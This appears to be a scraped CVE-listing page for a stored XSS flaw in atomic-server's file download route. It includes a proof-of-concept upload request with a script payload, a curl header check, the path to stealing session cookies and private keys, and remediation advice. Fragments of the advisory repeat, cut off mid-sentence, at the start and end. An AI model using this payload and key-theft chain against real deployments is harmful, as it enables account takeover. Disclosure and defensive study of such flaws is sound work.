STORED-XSS-PROOF\n------poc--\n```\n\nResponse `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/-xss.html`.\n\n2. Inspect how the server serves it:\n\n```\n$ curl -D - http://localhost:9883/download/files/-xss.html\nHTTP/1.1 200 OK\ncontent-type: text/html; charset=utf-8\ncontent-disposition: inline; filename=\"-xss.html\"\n# (no Content-Security-Policy, no X-Content-Type-Options)\n```\n\n`text/html` + `inline` + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically.\n\n3. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely.\n\n**Expected:** user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin.\n**Actual:** served `inline`, `text/html`, same origin, no CSP/nosniff → stored XSS executes.\n\n*(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact ` STORED-XSS-PROOF\n------poc--\n```\n\nResponse `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/-xss.html`.\n\n2. Inspect how the server serves it:\n\n```\n$ curl -D - http://localhost:9883/download/files/-xss.html\nHTTP/1.1 200 OK\ncontent-type: text/html; charset=utf-8\ncontent-disposition: inline; filename=\"-xss.html\"\n# (no Content-Security-Policy, no X-Content-Type-Options)\n```\n\n`text/html` + `inline` + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically.\n\n3. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely.\n\n**Expected:** user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin.\n**Actual:** served `inline`, `text/html`, same origin, no CSP/nosniff → stored XSS executes.\n\n*(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact `
CVE Hunter
›
CVE-2026-69155

CWE-79

HIGH CVSS 8.7 CIRCL+GitHub

## Summary Files uploaded via `POST /upload` are served back by `GET /download/{path}` using `actix_files::NamedFile`. For `text/html` and `image/svg+xml`, actix-files (0.6.6) sets `Content-Disposition: inline`, so the browser **renders** the file instead of downloading it. The `/download` route sets **no `Content-Security-Policy`, no `X-Content-Type-Options: nosniff`, and no forced `attachment`** (CSP exists only on the SPA route), and files are served from the **same origin** as the app UI. An authenticated Agent uploads `evil.html` containing `<script>`; when a victim opens the link, the script executes in the app origin. Because the `atomic_session` cookie is set via `document.cookie` (not HttpOnly) and the Agent's Ed25519 private key is stored in same-origin IndexedDB (`browser/data-browser/src/helpers/agentStorage.ts`), the script exfiltrates the private key → **permanent account takeover**. ## Affected component - `server/src/handlers/upload.rs` — stores the file; mimetype guessed from extension. - `server/src/handlers/download.rs:65` — `NamedFile::open(...).into_response(req)` with no CSP/nosniff/attachment; CSP is only set in `server/src/handlers/single_page_app.rs`. ## Steps to Reproduce Environment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a folder. 1. Upload an HTML file (multipart, with signed auth headers): ```http POST /upload?parent=http://localhost:9883 HTTP/1.1 Host: localhost:9883 x-atomic-public-key: <pubkey> x-atomic-agent: http://localhost:9883/agents/<pubkey> x-atomic-timestamp: <ms> x-atomic-signature: <ed25519("http://localhost:9883/upload?parent=http://localhost:9883 <ms>")> Content-Type: multipart/form-data; boundary=----poc ------poc Content-Disposition: form-data; name="assets"; filename="xss.html" Content-Type: text/html <html><body><script>alert(document.domain)</script>STORED-XSS-PROOF</body></html> ------poc-- ``` Response `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/<ts>-xss.html`. 2. Inspect how the server serves it: ``` $ curl -D - http://localhost:9883/download/files/<ts>-xss.html HTTP/1.1 200 OK content-type: text/html; charset=utf-8 content-disposition: inline; filename="<ts>-xss.html" # (no Content-Security-Policy, no X-Content-Type-Options) ``` `text/html` + `inline` + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically. 3. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely. **Expected:** user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin. **Actual:** served `inline`, `text/html`, same origin, no CSP/nosniff → stored XSS executes. *(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact `<script>` body. In-browser execution and IndexedDB key theft follow directly from these response headers.)* ## Impact Stored XSS in the app origin → theft of the victim's session cookie (not HttpOnly) and Ed25519 private key from IndexedDB → permanent account takeover (not limited by the 10-second token window). If the victim is an admin/root Agent, this is server takeover. ## Remediation - On `/download`, force `Content-Disposition: attachment` for user files, add `X-Content-Type-Options: nosniff`, and a `sandbox` CSP. - Serve user-uploaded files from a separate origin/subdomain. - Set `HttpOnly` + `Secure` on the session cookie; do not persist the private key in JS-readable storage.

Yayınlanma 17.11.2026
ISO Tarih 2026-11-17
CVSS Sürüm v3.1
Kaynak CIRCL+GitHub
CVSS v3.1 Metrikleri
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction Required UI:R
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Güvenlik Analizi
🤖 Yapay Zeka Güvenlik Analizi Hazırlanıyor…
CVSS vektörü ve CWE zayıflık yapısı inceleniyor…
Hedef Keşif Sorguları
CVSS Skoru
8.7 / 10 · CVSS HIGH
Zayıflık Türleri (CWE)
CWE-79
Etkilenen Ürünler (1)
atomic-server
Referanslar (4)
İlgili CVE'ler
9.8
CVE-2026-130735
Grav from 2.0.0 before 2.2.18 contains a Twig injection vulnerability that allows media-only accounts and anon
9.6
CVE-2026-130680
SiYuan from 3.3.0 before 3.8.10 contains a stored cross-site scripting vulnerability that allows attackers to
9.4
CVE-2026-130681
SiYuan before 3.8.10 contains a stored cross-site scripting vulnerability, an incomplete fix for CVE-2026-4467
9.4
CVE-2026-130678
SiYuan before 3.8.10 contains a stored cross-site scripting vulnerability that allows attackers to execute scr
9.4
CVE-2026-130679
SiYuan before 3.8.10 contains a stored cross-site scripting vulnerability in genAVValueHTML() that allows atta
9.3
CVE-2025-59906
Hardcoded credentials in the executable file. These can be extracted using the “Strings.exe” tool and coul
STORED-XSS-PROOF ------poc-- ``` Response `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/-xss.html`. 2. Inspect how the server serves it: ``` $ curl -D - http://localhost:9883/download/files/-xss.html HTTP/1.1 200 OK content-type: text/html; charset=utf-8 content-disposition: inline; filename=\"-xss.html\" # (no Content-Security-Policy, no X-Content-Type-Options) ``` `text/html` + `inline` + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically. 3. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely. **Expected:** user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin. **Actual:** served `inline`, `text/html`, same origin, no CSP/nosniff → stored XSS executes. *(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact `